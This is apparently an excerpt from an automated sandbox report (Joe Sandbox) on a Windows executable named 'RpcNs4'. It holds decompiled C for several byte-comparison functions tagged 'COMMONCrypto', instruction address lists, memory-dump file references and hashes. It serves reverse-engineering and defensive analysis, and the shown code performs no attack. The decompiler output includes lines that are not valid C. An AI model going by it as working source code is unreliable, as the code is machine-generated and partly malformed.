									if(_t246 != 0) {
										goto L1;
									}
									goto L62;
								}
								_t313 = ( *(_t336 - 0xf) & 0x000000ff) - ( *(_t294 - 0xf) & 0x000000ff);
								if(_t313 == 0) {
									L51:
									_t315 = ( *(_t336 - 0xe) & 0x000000ff) - ( *(_t294 - 0xe) & 0x000000ff);
									if(_t315 == 0) {
										L53:
										_t317 = ( *(_t336 - 0xd) & 0x000000ff) - ( *(_t294 - 0xd) & 0x000000ff);
										if(_t317 == 0) {
											L55:
											_t246 = ( *(_t336 - 0xc) & 0x000000ff) - ( *(_t294 - 0xc) & 0x000000ff);
											if(_t246 != 0) {
												_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
											}
											goto L58;
										}
										_t246 = (0 | _t317 > 0x00000000) * 2 - 1;
										if(_t246 != 0) {
											goto L1;
										}
										goto L55;
									}
									_t246 = (0 | _t315 > 0x00000000) * 2 - 1;
									if(_t246 != 0) {
										goto L1;
									}
									goto L53;
								}
								_t246 = (0 | _t313 > 0x00000000) * 2 - 1;
								if(_t246 != 0) {
									goto L1;
								}
								goto L51;
							}
							_t319 = (_t200 & 0x000000ff) - ( *(_t294 - 0x13) & 0x000000ff);
							if(_t319 == 0) {
								L40:
								_t321 = ( *(_t336 - 0x12) & 0x000000ff) - ( *(_t294 - 0x12) & 0x000000ff);
								if(_t321 == 0) {
									L42:
									_t323 = ( *(_t336 - 0x11) & 0x000000ff) - ( *(_t294 - 0x11) & 0x000000ff);
									if(_t323 == 0) {
										L44:
										_t246 = ( *(_t336 - 0x10) & 0x000000ff) - ( *(_t294 - 0x10) & 0x000000ff);
										if(_t246 != 0) {
											_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
										}
										goto L47;
									}
									_t246 = (0 | _t323 > 0x00000000) * 2 - 1;
									if(_t246 != 0) {
										goto L1;
									}
									goto L44;
								}
								_t246 = (0 | _t321 > 0x00000000) * 2 - 1;
								if(_t246 != 0) {
									goto L1;
								}
								goto L42;
							}
							_t246 = (0 | _t319 > 0x00000000) * 2 - 1;
							if(_t246 != 0) {
								goto L1;
							}
							goto L40;
						}
						_t325 = (_t199 & 0x000000ff) - ( *(_t294 - 0x17) & 0x000000ff);
						if(_t325 == 0) {
							L29:
							_t327 = ( *(_t336 - 0x16) & 0x000000ff) - ( *(_t294 - 0x16) & 0x000000ff);
							if(_t327 == 0) {
								L31:
								_t329 = ( *(_t336 - 0x15) & 0x000000ff) - ( *(_t294 - 0x15) & 0x000000ff);
								if(_t329 == 0) {
									L33:
									_t246 = ( *(_t336 - 0x14) & 0x000000ff) - ( *(_t294 - 0x14) & 0x000000ff);
									if(_t246 != 0) {
										_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
									}
									goto L36;
								}
								_t246 = (0 | _t329 > 0x00000000) * 2 - 1;
								if(_t246 != 0) {
									goto L1;
								}
								goto L33;
							}
							_t246 = (0 | _t327 > 0x00000000) * 2 - 1;
							if(_t246 != 0) {
								goto L1;
							}
							goto L31;
						}
						_t246 = (0 | _t325 > 0x00000000) * 2 - 1;
						if(_t246 != 0) {
							goto L1;
						}
						goto L29;
					}
					_t331 = (_t198 & 0x000000ff) - ( *(_t294 - 0x1b) & 0x000000ff);
					if(_t331 == 0) {
						L18:
						_t333 = ( *(_t336 - 0x1a) & 0x000000ff) - ( *(_t294 - 0x1a) & 0x000000ff);
						if(_t333 == 0) {
							L20:
							_t335 = ( *(_t336 - 0x19) & 0x000000ff) - ( *(_t294 - 0x19) & 0x000000ff);
							if(_t335 == 0) {
								L22:
								_t246 = ( *(_t336 - 0x18) & 0x000000ff) - ( *(_t294 - 0x18) & 0x000000ff);
								if(_t246 != 0) {
									_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
								}
								goto L25;
							}
							_t246 = (0 | _t335 > 0x00000000) * 2 - 1;
							if(_t246 != 0) {
								goto L1;
							}
							goto L22;
						}
						_t246 = (0 | _t333 > 0x00000000) * 2 - 1;
						if(_t246 != 0) {
							goto L1;
						}
						goto L20;
					}
					_t246 = (0 | _t331 > 0x00000000) * 2 - 1;
					if(_t246 != 0) {
						goto L1;
					}
					goto L18;
				} else {
					__edi =  *(__esi - 0x1f) & 0x000000ff;
					__edi = ( *(__esi - 0x1f) & 0x000000ff) - ( *(__edx - 0x1f) & 0x000000ff);
					if(__edi == 0) {
						L7:
						__edi =  *(__esi - 0x1e) & 0x000000ff;
						__edi = ( *(__esi - 0x1e) & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
						if(__edi == 0) {
							L9:
							__edi =  *(__esi - 0x1d) & 0x000000ff;
							__edi = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
							if(__edi == 0) {
								L11:
								__ecx =  *(__esi - 0x1c) & 0x000000ff;
								__ecx = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L14;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								goto L1;
							}
							goto L11;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L1;
						}
						goto L9;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L1;
					}
					goto L7;
				}
				L1:
				_t197 = _t246;
				return _t197;
			}

0x00416d4e
0x00416d4e
0x00416d54
0x00416ddc
0x00416dde
0x00416de0
0x00000000
0x00000000
0x00416de6
0x00416dec
0x00416e73
0x00416e75
0x00416e77
0x00000000
0x00000000
0x00416e7d
0x00416e83
0x00416f0a
0x00416f0c
0x00416f0e
0x00000000
0x00000000
0x00416f14
0x00416f1a
0x00416fa1
0x00416fa3
0x00416fa5
0x00000000
0x00000000
0x00416fb1
0x00417039
0x0041703b
0x0041703d
0x00000000
0x00000000
0x00417043
0x00417049
0x004170d0
0x004170d2
0x004170d4
0x00000000
0x00000000
0x004170da
0x004170e0
0x00417167
0x00417169
0x0041716b
0x00000000
0x00000000
0x00417179
0x0041717b
0x00417193
0x0041719b
0x0041719d
0x004168f6
0x004168fe
0x00416900
0x0041690d
0x0041690d
0x00000000
0x00416900
0x004171aa
0x004168f0
0x00000000
0x00000000
0x00000000
0x00000000
0x004168f0
0x00417184
0x0041718d
0x00000000
0x00000000
0x00000000
0x0041718d
0x004170ed
0x004170ef
0x00417107
0x0041710f
0x00417111
0x00417129
0x00417131
0x00417133
0x0041714b
0x00417153
0x00417155
0x0041715e
0x0041715e
0x00000000
0x00417155
0x0041713c
0x00417145
0x00000000
0x00000000
0x00000000
0x00417145
0x0041711a
0x00417123
0x00000000
0x00000000
0x00000000
0x00417123
0x004170f8
0x00417101
0x00000000
0x00000000
0x00000000
0x00417101
0x00417056
0x00417058
0x00417070
0x00417078
0x0041707a
0x00417092
0x0041709a
0x0041709c
0x004170b4
0x004170bc
0x004170be
0x004170c7
0x004170c7
0x00000000
0x004170be
0x004170a5
0x004170ae
0x00000000
0x00000000
0x00000000
0x004170ae
0x00417083
0x0041708c
0x00000000
0x00000000
0x00000000
0x0041708c
0x00417061
0x0041706a
0x00000000
0x00000000
0x00000000
0x0041706a
0x00416fbf
0x00416fc1
0x00416fd9
0x00416fe1
0x00416fe3
0x00416ffb
0x00417003
0x00417005
0x0041701d
0x00417025
0x00417027
0x00417030
0x00417030
0x00000000
0x00417027
0x0041700e
0x00417017
0x00000000
0x00000000
0x00000000
0x00417017
0x00416fec
0x00416ff5
0x00000000
0x00000000
0x00000000
0x00416ff5
0x00416fca
0x00416fd3
0x00000000
0x00000000
0x00000000
0x00416fd3
0x00416f27
0x00416f29
0x00416f41
0x00416f49
0x00416f4b
0x00416f63
0x00416f6b
0x00416f6d
0x00416f85
0x00416f8d
0x00416f8f
0x00416f98
0x00416f98
0x00000000
0x00416f8f
0x00416f76
0x00416f7f
0x00000000
0x00000000
0x00000000
0x00416f7f
0x00416f54
0x00416f5d
0x00000000
0x00000000
0x00000000
0x00416f5d
0x00416f32
0x00416f3b
0x00000000
0x00000000
0x00000000
0x00416f3b
0x00416e90
0x00416e92
0x00416eaa
0x00416eb2
0x00416eb4
0x00416ecc
0x00416ed4
0x00416ed6
0x00416eee
0x00416ef6
0x00416ef8
0x00416f01
0x00416f01
0x00000000
0x00416ef8
0x00416edf
0x00416ee8
0x00000000
0x00000000
0x00000000
0x00416ee8
0x00416ebd
0x00416ec6
0x00000000
0x00000000
0x00000000
0x00416ec6
0x00416e9b
0x00416ea4
0x00000000
0x00000000
0x00000000
0x00416ea4
0x00416df9
0x00416dfb
0x00416e13
0x00416e1b
0x00416e1d
0x00416e35
0x00416e3d
0x00416e3f
0x00416e57
0x00416e5f
0x00416e61
0x00416e6a
0x00416e6a
0x00000000
0x00416e61
0x00416e48
0x00416e51
0x00000000
0x00000000
0x00000000
0x00416e51
0x00416e26
0x00416e2f
0x00000000
0x00000000
0x00000000
0x00416e2f
0x00416e04
0x00416e0d
0x00000000
0x00000000
0x00000000
0x00416d5a
0x00416d5e
0x00416d62
0x00416d64
0x00416d7c
0x00416d7c
0x00416d84
0x00416d86
0x00416d9e
0x00416d9e
0x00416da6
0x00416da8
0x00416dc0
0x00416dc0
0x00416dc8
0x00416dca
0x00416dd3
0x00416dd3
0x00000000
0x00416dca
0x00416dae
0x00416db1
0x00416dba
0x00000000
0x00000000
0x00000000
0x00416dba
0x00416d8c
0x00416d8f
0x00416d98
0x00000000
0x00000000
0x00000000
0x00416d98
0x00416d6a
0x00416d6d
0x00416d76
0x00000000
0x00000000
0x00000000
0x00416d76
0x004164dc
0x004164dc
0x004172cd

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: cf2e26c8fab931841b5b5b98056a3382e25168eebd44b1025704d11944039681
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: CFC1B7362091A30DDF2D4639C4341BFBAA15AA27B131B07AFD4B7CB2C5EE28C5A5D51C

Uniqueness

Uniqueness Score: -1.00%

Function 004164E4, Relevance: .3, Instructions: 331
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E004164E4(void* __edx, void* __esi) {
				signed int _t184;
				signed char _t185;
				signed char _t186;
				signed char _t187;
				signed char _t188;
				signed char _t190;
				signed int _t231;
				void* _t275;
				void* _t278;
				void* _t280;
				void* _t282;
				void* _t284;
				void* _t286;
				void* _t288;
				void* _t290;
				void* _t292;
				void* _t294;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				void* _t313;

				_t313 = __esi;
				_t275 = __edx;
				if( *((intOrPtr*)(__esi - 0x1d)) ==  *((intOrPtr*)(__edx - 0x1d))) {
					_t231 = 0;
					L11:
					if(_t231 != 0) {
						goto L1;
					}
					_t185 =  *(_t313 - 0x19);
					if(_t185 ==  *(_t275 - 0x19)) {
						_t231 = 0;
						L22:
						if(_t231 != 0) {
							goto L1;
						}
						_t186 =  *(_t313 - 0x15);
						if(_t186 ==  *(_t275 - 0x15)) {
							_t231 = 0;
							L33:
							if(_t231 != 0) {
								goto L1;
							}
							_t187 =  *(_t313 - 0x11);
							if(_t187 ==  *(_t275 - 0x11)) {
								_t231 = 0;
								L44:
								if(_t231 != 0) {
									goto L1;
								}
								_t188 =  *(_t313 - 0xd);
								if(_t188 ==  *(_t275 - 0xd)) {
									_t231 = 0;
									L55:
									if(_t231 != 0) {
										goto L1;
									}
									if( *(_t313 - 9) ==  *(_t275 - 9)) {
										_t231 = 0;
										L66:
										if(_t231 != 0) {
											goto L1;
										}
										_t190 =  *(_t313 - 5);
										if(_t190 ==  *(_t275 - 5)) {
											_t231 = 0;
											L77:
											if(_t231 == 0) {
												_t231 = ( *(_t313 - 1) & 0x000000ff) - ( *(_t275 - 1) & 0x000000ff);
												if(_t231 != 0) {
													_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
												}
											}
											goto L1;
										}
										_t278 = (_t190 & 0x000000ff) - ( *(_t275 - 5) & 0x000000ff);
										if(_t278 == 0) {
											L70:
											_t280 = ( *(_t313 - 4) & 0x000000ff) - ( *(_t275 - 4) & 0x000000ff);
											if(_t280 == 0) {
												L72:
												_t282 = ( *(_t313 - 3) & 0x000000ff) - ( *(_t275 - 3) & 0x000000ff);
												if(_t282 == 0) {
													L74:
													_t231 = ( *(_t313 - 2) & 0x000000ff) - ( *(_t275 - 2) & 0x000000ff);
													if(_t231 != 0) {
														_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
													}
													goto L77;
												}
												_t231 = (0 | _t282 > 0x00000000) * 2 - 1;
												if(_t231 != 0) {
													goto L1;
												}
												goto L74;
											}
											_t231 = (0 | _t280 > 0x00000000) * 2 - 1;
											if(_t231 != 0) {
												goto L1;
											}
											goto L72;
										}
										_t231 = (0 | _t278 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L70;
									}
									_t284 = ( *(_t313 - 9) & 0x000000ff) - ( *(_t275 - 9) & 0x000000ff);
									if(_t284 == 0) {
										L59:
										_t286 = ( *(_t313 - 8) & 0x000000ff) - ( *(_t275 - 8) & 0x000000ff);
										if(_t286 == 0) {
											L61:
											_t288 = ( *(_t313 - 7) & 0x000000ff) - ( *(_t275 - 7) & 0x000000ff);
											if(_t288 == 0) {
												L63:
												_t231 = ( *(_t313 - 6) & 0x000000ff) - ( *(_t275 - 6) & 0x000000ff);
												if(_t231 != 0) {
													_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
												}
												goto L66;
											}
											_t231 = (0 | _t288 > 0x00000000) * 2 - 1;
											if(_t231 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t231 = (0 | _t286 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t231 = (0 | _t284 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t290 = (_t188 & 0x000000ff) - ( *(_t275 - 0xd) & 0x000000ff);
								if(_t290 == 0) {
									L48:
									_t292 = ( *(_t313 - 0xc) & 0x000000ff) - ( *(_t275 - 0xc) & 0x000000ff);
									if(_t292 == 0) {
										L50:
										_t294 = ( *(_t313 - 0xb) & 0x000000ff) - ( *(_t275 - 0xb) & 0x000000ff);
										if(_t294 == 0) {
											L52:
											_t231 = ( *(_t313 - 0xa) & 0x000000ff) - ( *(_t275 - 0xa) & 0x000000ff);
											if(_t231 != 0) {
												_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
											}
											goto L55;
										}
										_t231 = (0 | _t294 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t231 = (0 | _t292 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t231 = (0 | _t290 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t296 = (_t187 & 0x000000ff) - ( *(_t275 - 0x11) & 0x000000ff);
							if(_t296 == 0) {
								L37:
								_t298 = ( *(_t313 - 0x10) & 0x000000ff) - ( *(_t275 - 0x10) & 0x000000ff);
								if(_t298 == 0) {
									L39:
									_t300 = ( *(_t313 - 0xf) & 0x000000ff) - ( *(_t275 - 0xf) & 0x000000ff);
									if(_t300 == 0) {
										L41:
										_t231 = ( *(_t313 - 0xe) & 0x000000ff) - ( *(_t275 - 0xe) & 0x000000ff);
										if(_t231 != 0) {
											_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
										}
										goto L44;
									}
									_t231 = (0 | _t300 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t231 = (0 | _t298 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t231 = (0 | _t296 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t302 = (_t186 & 0x000000ff) - ( *(_t275 - 0x15) & 0x000000ff);
						if(_t302 == 0) {
							L26:
							_t304 = ( *(_t313 - 0x14) & 0x000000ff) - ( *(_t275 - 0x14) & 0x000000ff);
							if(_t304 == 0) {
								L28:
								_t306 = ( *(_t313 - 0x13) & 0x000000ff) - ( *(_t275 - 0x13) & 0x000000ff);
								if(_t306 == 0) {
									L30:
									_t231 = ( *(_t313 - 0x12) & 0x000000ff) - ( *(_t275 - 0x12) & 0x000000ff);
									if(_t231 != 0) {
										_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
									}
									goto L33;
								}
								_t231 = (0 | _t306 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t231 = (0 | _t304 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t231 = (0 | _t302 > 0x00000000) * 2 - 1;
						if(_t231 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t308 = (_t185 & 0x000000ff) - ( *(_t275 - 0x19) & 0x000000ff);
					if(_t308 == 0) {
						L15:
						_t310 = ( *(_t313 - 0x18) & 0x000000ff) - ( *(_t275 - 0x18) & 0x000000ff);
						if(_t310 == 0) {
							L17:
							_t312 = ( *(_t313 - 0x17) & 0x000000ff) - ( *(_t275 - 0x17) & 0x000000ff);
							if(_t312 == 0) {
								L19:
								_t231 = ( *(_t313 - 0x16) & 0x000000ff) - ( *(_t275 - 0x16) & 0x000000ff);
								if(_t231 != 0) {
									_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
								}
								goto L22;
							}
							_t231 = (0 | _t312 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t231 = (0 | _t310 > 0x00000000) * 2 - 1;
						if(_t231 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t231 = (0 | _t308 > 0x00000000) * 2 - 1;
					if(_t231 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
					if(__edi == 0) {
						L4:
						__edi =  *(__esi - 0x1c) & 0x000000ff;
						__edi = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
						if(__edi == 0) {
							L6:
							__edi =  *(__esi - 0x1b) & 0x000000ff;
							__edi = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
							if(__edi == 0) {
								L8:
								__ecx =  *(__esi - 0x1a) & 0x000000ff;
								__ecx = ( *(__esi - 0x1a) & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L11;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t184 = _t231;
				return _t184;
			}

0x004164e4
0x004164e4
0x004164ea
0x00416561
0x00416563
0x00416565
0x00000000
0x00000000
0x0041656b
0x00416571
0x004165f8
0x004165fa
0x004165fc
0x00000000
0x00000000
0x00416602
0x00416608
0x0041668f
0x00416691
0x00416693
0x00000000
0x00000000
0x00416699
0x0041669f
0x00416726
0x00416728
0x0041672a
0x00000000
0x00000000
0x00416730
0x00416736
0x004167bd
0x004167bf
0x004167c1
0x00000000
0x00000000
0x004167cd
0x00416855
0x00416857
0x00416859
0x00000000
0x00000000
0x0041685f
0x00416865
0x004168ec
0x004168ee
0x004168f0
0x004168fe
0x00416900
0x0041690d
0x0041690d
0x00416900
0x00000000
0x004168f0
0x00416872
0x00416874
0x0041688c
0x00416894
0x00416896
0x004168ae
0x004168b6
0x004168b8
0x004168d0
0x004168d8
0x004168da
0x004168e3
0x004168e3
0x00000000
0x004168da
0x004168c1
0x004168ca
0x00000000
0x00000000
0x00000000
0x004168ca
0x0041689f
0x004168a8
0x00000000
0x00000000
0x00000000
0x004168a8
0x0041687d
0x00416886
0x00000000
0x00000000
0x00000000
0x00416886
0x004167db
0x004167dd
0x004167f5
0x004167fd
0x004167ff
0x00416817
0x0041681f
0x00416821
0x00416839
0x00416841
0x00416843
0x0041684c
0x0041684c
0x00000000
0x00416843
0x0041682a
0x00416833
0x00000000
0x00000000
0x00000000
0x00416833
0x00416808
0x00416811
0x00000000
0x00000000
0x00000000
0x00416811
0x004167e6
0x004167ef
0x00000000
0x00000000
0x00000000
0x004167ef
0x00416743
0x00416745
0x0041675d
0x00416765
0x00416767
0x0041677f
0x00416787
0x00416789
0x004167a1
0x004167a9
0x004167ab
0x004167b4
0x004167b4
0x00000000
0x004167ab
0x00416792
0x0041679b
0x00000000
0x00000000
0x00000000
0x0041679b
0x00416770
0x00416779
0x00000000
0x00000000
0x00000000
0x00416779
0x0041674e
0x00416757
0x00000000
0x00000000
0x00000000
0x00416757
0x004166ac
0x004166ae
0x004166c6
0x004166ce
0x004166d0
0x004166e8
0x004166f0
0x004166f2
0x0041670a
0x00416712
0x00416714
0x0041671d
0x0041671d
0x00000000
0x00416714
0x004166fb
0x00416704
0x00000000
0x00000000
0x00000000
0x00416704
0x004166d9
0x004166e2
0x00000000
0x00000000
0x00000000
0x004166e2
0x004166b7
0x004166c0
0x00000000
0x00000000
0x00000000
0x004166c0
0x00416615
0x00416617
0x0041662f
0x00416637
0x00416639
0x00416651
0x00416659
0x0041665b
0x00416673
0x0041667b
0x0041667d
0x00416686
0x00416686
0x00000000
0x0041667d
0x00416664
0x0041666d
0x00000000
0x00000000
0x00000000
0x0041666d
0x00416642
0x0041664b
0x00000000
0x00000000
0x00000000
0x0041664b
0x00416620
0x00416629
0x00000000
0x00000000
0x00000000
0x00416629
0x0041657e
0x00416580
0x00416598
0x004165a0
0x004165a2
0x004165ba
0x004165c2
0x004165c4
0x004165dc
0x004165e4
0x004165e6
0x004165ef
0x004165ef
0x00000000
0x004165e6
0x004165cd
0x004165d6
0x00000000
0x00000000
0x00000000
0x004165d6
0x004165ab
0x004165b4
0x00000000
0x00000000
0x00000000
0x004165b4
0x00416589
0x00416592
0x00000000
0x00000000
0x00000000
0x004164ec
0x004164ec
0x004164f3
0x004164f5
0x00416509
0x00416509
0x00416511
0x00416513
0x00416527
0x00416527
0x0041652f
0x00416531
0x00416545
0x00416545
0x0041654d
0x0041654f
0x00416558
0x00416558
0x00000000
0x0041654f
0x00416537
0x0041653a
0x00416543
0x00000000
0x00000000
0x00000000
0x00416543
0x00416519
0x0041651c
0x00416525
0x00000000
0x00000000
0x00000000
0x00416525
0x004164fb
0x004164fe
0x00416507
0x00000000
0x00000000
0x00000000
0x00416507
0x004164dc
0x004164dc
0x004172cd

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: b7878d0f221b722cf0e3b3427d077349876609862440d8d5cd2c1f99f660dafc
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 21C184322051A30DDF2D463984740BFBBA55AA27B131B07AFD4B7CB2C5EE18C5A5D62C

Uniqueness

Uniqueness Score: -1.00%

Function 004160CC, Relevance: .3, Instructions: 323
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E004160CC(void* __edx, void* __esi) {
				signed char _t177;
				void* _t178;
				signed char _t179;
				signed char _t180;
				signed char _t181;
				signed char _t183;
				signed char _t184;
				void* _t228;
				void* _t278;
				void* _t281;
				void* _t283;
				void* _t285;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t305;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t319;
				void* _t321;
				void* _t322;

				_t322 = __esi;
				_t278 = __edx;
				_t177 =  *(__esi - 0x1c);
				if(_t177 ==  *(__edx - 0x1c)) {
					_t228 = 0;
					L10:
					if(_t228 != 0) {
						L78:
						_t178 = _t228;
						return _t178;
					}
					_t179 =  *(_t322 - 0x18);
					if(_t179 ==  *(_t278 - 0x18)) {
						_t228 = 0;
						L21:
						if(_t228 != 0) {
							goto L78;
						}
						_t180 =  *(_t322 - 0x14);
						if(_t180 ==  *(_t278 - 0x14)) {
							_t228 = 0;
							L32:
							if(_t228 != 0) {
								goto L78;
							}
							_t181 =  *(_t322 - 0x10);
							if(_t181 ==  *(_t278 - 0x10)) {
								_t228 = 0;
								L43:
								if(_t228 != 0) {
									goto L78;
								}
								if( *(_t322 - 0xc) ==  *(_t278 - 0xc)) {
									_t228 = 0;
									L54:
									if(_t228 != 0) {
										goto L78;
									}
									_t183 =  *(_t322 - 8);
									if(_t183 ==  *(_t278 - 8)) {
										_t228 = 0;
										L65:
										if(_t228 != 0) {
											goto L78;
										}
										_t184 =  *(_t322 - 4);
										if(_t184 ==  *(_t278 - 4)) {
											_t228 = 0;
											L76:
											if(_t228 == 0) {
												_t228 = 0;
											}
											goto L78;
										}
										_t281 = (_t184 & 0x000000ff) - ( *(_t278 - 4) & 0x000000ff);
										if(_t281 == 0) {
											L69:
											_t283 = ( *(_t322 - 3) & 0x000000ff) - ( *(_t278 - 3) & 0x000000ff);
											if(_t283 == 0) {
												L71:
												_t285 = ( *(_t322 - 2) & 0x000000ff) - ( *(_t278 - 2) & 0x000000ff);
												if(_t285 == 0) {
													L73:
													_t228 = ( *(_t322 - 1) & 0x000000ff) - ( *(_t278 - 1) & 0x000000ff);
													if(_t228 != 0) {
														_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
													}
													goto L76;
												}
												_t228 = (0 | _t285 > 0x00000000) * 2 - 1;
												if(_t228 != 0) {
													goto L78;
												}
												goto L73;
											}
											_t228 = (0 | _t283 > 0x00000000) * 2 - 1;
											if(_t228 != 0) {
												goto L78;
											}
											goto L71;
										}
										_t228 = (0 | _t281 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L69;
									}
									_t287 = (_t183 & 0x000000ff) - ( *(_t278 - 8) & 0x000000ff);
									if(_t287 == 0) {
										L58:
										_t289 = ( *(_t322 - 7) & 0x000000ff) - ( *(_t278 - 7) & 0x000000ff);
										if(_t289 == 0) {
											L60:
											_t291 = ( *(_t322 - 6) & 0x000000ff) - ( *(_t278 - 6) & 0x000000ff);
											if(_t291 == 0) {
												L62:
												_t228 = ( *(_t322 - 5) & 0x000000ff) - ( *(_t278 - 5) & 0x000000ff);
												if(_t228 != 0) {
													_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
												}
												goto L65;
											}
											_t228 = (0 | _t291 > 0x00000000) * 2 - 1;
											if(_t228 != 0) {
												goto L78;
											}
											goto L62;
										}
										_t228 = (0 | _t289 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L60;
									}
									_t228 = (0 | _t287 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L58;
								}
								_t293 = ( *(_t322 - 0xc) & 0x000000ff) - ( *(_t278 - 0xc) & 0x000000ff);
								if(_t293 == 0) {
									L47:
									_t295 = ( *(_t322 - 0xb) & 0x000000ff) - ( *(_t278 - 0xb) & 0x000000ff);
									if(_t295 == 0) {
										L49:
										_t297 = ( *(_t322 - 0xa) & 0x000000ff) - ( *(_t278 - 0xa) & 0x000000ff);
										if(_t297 == 0) {
											L51:
											_t228 = ( *(_t322 - 9) & 0x000000ff) - ( *(_t278 - 9) & 0x000000ff);
											if(_t228 != 0) {
												_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
											}
											goto L54;
										}
										_t228 = (0 | _t297 > 0x00000000) * 2 - 1;
